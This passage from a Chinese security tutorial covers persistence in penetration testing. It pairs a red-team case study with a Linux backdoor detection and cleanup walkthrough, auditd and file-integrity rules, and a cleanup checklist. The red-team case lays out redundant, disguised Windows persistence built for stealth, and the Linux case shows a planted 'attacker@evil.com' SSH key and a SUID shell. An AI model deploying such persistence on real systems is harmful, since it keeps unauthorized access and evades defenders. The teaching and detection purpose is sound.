清除恶意文件 ↓ 6. 修复被修改的系统配置 ↓ 7. 更新密码和凭证 ↓ 8. 验证清除效果 ↓ 9. 持续监控 ``` --- ## 实战案例 ### 案例一:企业内网渗透测试中的权限维持 #### 场景描述 在某大型企业的红队演练中,我成功通过钓鱼邮件获得了初始访问权限,需要建立持久化访问以模拟 APT 攻击。 #### 实施步骤 ``` Step 1: 初始访问 - 发送钓鱼邮件,诱导用户执行恶意附件 - 获取用户级权限 Step 2: 权限提升 - 利用本地提权漏洞 (CVE-2021-XXXX) - 获取 SYSTEM 权限 Step 3: 部署多重持久化 ┌─────────────────────────────────────────────────────────┐ │ 持久化方式 1: 注册表 Run 键 │ │ HKEY_LOCAL_MACHINE\...\Run\SecurityUpdate │ │ → C:\Windows\Temp\update.exe │ ├─────────────────────────────────────────────────────────┤ │ 持久化方式 2: 计划任务 │ │ TaskName: WindowsUpdate │ │ Trigger: 系统启动 + 每 30 分钟 │ │ Action: C:\Windows\Temp\update.exe │ ├─────────────────────────────────────────────────────────┤ │ 持久化方式 3: WMI 事件订阅 │ │ Filter: 每 5 分钟触发 │ │ Consumer: 执行 C:\Windows\Temp\update.exe │ ├─────────────────────────────────────────────────────────┤ │ 持久化方式 4: 系统服务 │ │ ServiceName: WinSecuritySvc │ │ BinaryPath: C:\Windows\Temp\update.exe │ │ StartType: Automatic │ └─────────────────────────────────────────────────────────┘ Step 4: 验证持久化 - 重启系统测试自启动 - 模拟杀毒软件扫描测试隐蔽性 - 模拟密码更改测试独立性 Step 5: 清理 - 演练结束后完全清除所有持久化机制 - 恢复系统到原始状态 ``` #### 经验教训 1. **多重冗余**: 部署 4 种不同的持久化方式,确保单一清除不会失效 2. **隐蔽性**: 使用合法系统工具(PowerShell、WMI)避免触发告警 3. **可清理性**: 详细记录所有修改,确保能完全恢复 ### 案例二:Linux 服务器权限维持检测 #### 场景描述 某公司安全团队发现服务器存在异常外连流量,怀疑已被入侵并植入后门。 #### 检测过程 ```bash # 1. 检查网络连接 $ netstat -antp | grep ESTABLISHED tcp 0 0 192.168.1.100:45678 45.33.32.156:443 ESTABLISHED 1234/maintain # 2. 检查可疑进程 $ ps aux | grep 1234 root 1234 0.0 0.1 12345 6789 ? Ss 02:00 0:00 /tmp/.hidden/maintain # 3. 检查持久化机制 $ crontab -l * * * * * /tmp/.hidden/maintain.sh $ systemctl list-unit-files | grep maintain security-update.service enabled $ cat /etc/cron.d/system-update * * * * * root /tmp/.hidden/maintain.sh # 4. 检查 SSH 后门 $ cat /root/.ssh/authorized_keys ssh-rsa AAAA... attacker@evil.com # 5. 检查 SUID 文件 $ find /tmp -perm -4000 -type f /tmp/.hidden/bash ``` #### 清除过程 ```bash # 1. 终止进程 kill -9 1234 # 2. 删除 crontab crontab -r # 3. 禁用服务 systemctl disable security-update.service rm /etc/systemd/system/security-update.service # 4. 删除 cron 任务 rm /etc/cron.d/system-update # 5. 清理 SSH 后门 vim /root/.ssh/authorized_keys # 删除恶意密钥 # 6. 删除 SUID 后门 rm /tmp/.hidden/bash rm -rf /tmp/.hidden/ # 7. 检查是否还有其他后门 rkhunter --check chkrootkit # 8. 更新所有密码 passwd root # 更新所有用户密码... # 9. 重启系统并验证 reboot ``` --- ## 最佳实践与防御建议 ### 防御权限维持的建议 #### 1. 最小权限原则 ``` + 推荐做法: - 用户账户使用最低必要权限 - 服务账户限制访问范围 - 定期审查权限分配 - 避免做法: - 日常使用管理员账户 - 服务使用 SYSTEM/root 权限 - 权限长期不审查 ``` #### 2. 监控与检测 ```powershell # Windows: 启用详细日志 # 组策略 → 计算机配置 → 管理模板 → Windows 组件 → 事件日志服务 # 启用以下日志: # - 进程创建 (4688) # - 计划任务创建 (4698) # - 服务创建 (7045) # - 注册表修改 (4657) # Linux: 配置 auditd sudo vim /etc/audit/rules.d/persistence.rules # 监控 crontab 修改 -w /etc/crontab -p wa -k crontab_change -w /etc/cron.d/ -p wa -k cron_change -w /var/spool/cron/ -p wa -k cron_change # 监控 systemd 服务 -w /etc/systemd/system/ -p wa -k systemd_change # 监控 SSH 配置 -w /etc/ssh/sshd_config -p wa -k sshd_change -w /root/.ssh/authorized_keys -p wa -k ssh_keys ``` #### 3. 文件完整性监控 ```bash # 使用 AIDE 监控文件完整性 sudo apt install aide # Debian/Ubuntu sudo yum install aide # RHEL/CentOS # 初始化数据库 sudo aide --init sudo mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db # 定期检查 sudo aide --check # 配置 cron 自动检查 echo "0 2 * * * root /usr/bin/aide --check" | sudo tee -a /etc/cron.d/aide ``` #### 4. 应用白名单 ```powershell # Windows: 使用 AppLocker # 组策略 → 计算机配置 → Windows 设置 → 安全设置 → 应用程序控制策略 → AppLocker # 只允许签名的程序运行 # 只允许特定目录的程序运行 (C:\Program Files\) # 阻止临时目录执行 (C:\Users\*\AppData\Local\Temp\) ``` #### 5. 定期审查 | 审查项目 | 频率 | 负责人 | |----------|------|--------| | 自启动项 | 每周 | 安全团队 | | 计划任务 | 每周 | 系统管理员 | | 系统服务 | 每月 | 安全团队 | | 用户账户 | 每月 | IT 管理员 | | SSH 密钥 | 每月 | 安全团队 | | 文件完整性 | 每日 | 自动化系统 | ### 渗透测试中的权限维持准则 #### 道德与法律边界 ``` + 允许行为: - 在授权范围内使用持久化技术 - 详细记录所有持久化修改 - 测试结束后完全清除 - 向客户报告所有发现的持久化点 - 禁止行为: - 超出授权范围部署持久化 - 使用破坏性持久化技术 - 测试后不清理 - 保留未报告的访问通道 ``` #### 测试后清理清单 ``` □ 删除所有注册表修改 □ 删除所有计划任务 □ 删除所有恶意服务 □ 删除所有 WMI 订阅 □ 删除所有启动文件夹项 □ 删除所有恶意文件 □ 恢复被修改的系统配置 □ 清除所有日志中的测试痕迹(如授权允许) □ 验证系统恢复到测试前状态 □ 向客户提交清理报告 ``` --- ## 总结与思考 ### 核心要点回顾 1. **权限维持是渗透测试的关键阶段** - 确保持续访问能力 - 模拟真实 APT 攻击 - 评估检测与响应能力 2. **Windows 主要持久化技术** - 注册表 Run 键 - 系统服务 - 计划任务 - WMI 事件订阅 - 启动文件夹 - DLL/COM 劫持 3. **Linux 主要持久化技术** - crontab 计划任务 - systemd 服务 - SSH 后门 - 配置文件修改 - LD_PRELOAD 劫持 - SUID/SGID 后门 4. **检测方法** - 使用专业工具(Autoruns、rkhunter 等) - 基线对比 - 日志分析 - 网络监控 - 文件完整性监控 ### 深入思考 #### 为什么权限维持难以检测? 1. **利用合法机制**: 大多数持久化技术使用的是系统正常功能 2. **隐蔽性强**: 高级技术(如 WMI)不留下明显文件痕迹 3. **多重冗余**: 攻击者部署多种持久化方式互为备份 4. **检测工具局限**: 传统杀毒软件难以检测无文件攻击 #### 如何平衡测试与风险? 在渗透测试中部署权限维持时,我必须考虑: 1. **业务影响**: 持久化机制是否会影响系统稳定性? 2. **检测风险**: 是否会被误认为真实攻击而触发应急响应? 3. **清理难度**: 是否能确保完全清除不留痕迹? 4. **法律合规**: 是否在授权范围内?是否符合法律法规? #### 未来趋势 1. **无文件攻击增加**: 更多利用内存和合法系统工具 2. **云环境持久化**: 针对云平台的新型持久化技术 3. **供应链攻击**: 通过软件更新机制植入后门 4. **AI 辅助检测**: 使用机器学习检测异常持久化行为 ### 实战建议 1. **对红队人员**: - 部署多重冗余持久化 - 优先使用无文件技术 - 详细记录所有修改 - 确保能完全清理 2. **对蓝队人员**: - 建立系统配置基线 - 部署文件完整性监控 - 启用详细日志记录 - 定期审查持久化点 - 使用专业检测工具 3. **对组织**: - 实施最小权限原则 - 定期安全审计 - 员工安全意识培训 - 建立应急响应流程 --- ## 参考资料 ### 学习资源 - **MITRE ATT&CK - Persistence Techniques** - https://attack.mitre.org/tactics/TA0003/ - **OWASP Persistence Cheat Sheet** - https://cheatsheetseries.owasp.org/cheatsheets/Persistence_Cheat_Sheet.html - **SANS Institute - Windows Persistence** - https://www.sans.org/white-papers/windows-persistence/ ### 工具资源 | 工具 | 用途 | 链接 | |------|------|------| | **Autoruns** | Windows 自启动项检测 | https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns | | **Process Explorer** | 进程分析 | https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer | | **rkhunter** | Linux Rootkit 检测 | http://rkhunter.sourceforge.net/ | | **chkrootkit** | Linux Rootkit 检测 | https://www.chkrootkit.org/ | | **YARA** | 恶意软件特征匹配 | https://virustotal.github.io/yara/ | | **OSQuery** | 系统查询 | https://osquery.io/ | ### 书籍推荐 1. **《Red Team Development and Operations》** - 作者: Bill Sempf 等 - 章节: Persistence and Covering Tracks 2. **《Advanced Penetration Testing》** - 作者: Wil Allsopp - 章节: Establishing Persistence 3. **《The Art of Memory Forensics》** - 作者: Michael Hale Ligh 等 - 章节: Detecting Malware Persistence 4. **《Windows Internals》** - 作者: Pavel Yosifovich 等 - 章节: System Startup and Services --- *365 天信息安全技术系列 | Day 230 | 渗透测试系列 | 权限维持技术* *创建时间:2026-04-12 | 作者:安全专家 · 严谨专业版*
myh0st
2026年4月13日 23:20
分享文档
收藏文档
上一篇
下一篇
微信扫一扫
复制链接
手机扫一扫进行分享
复制链接
Markdown文件
分享
链接
类型
密码
更新密码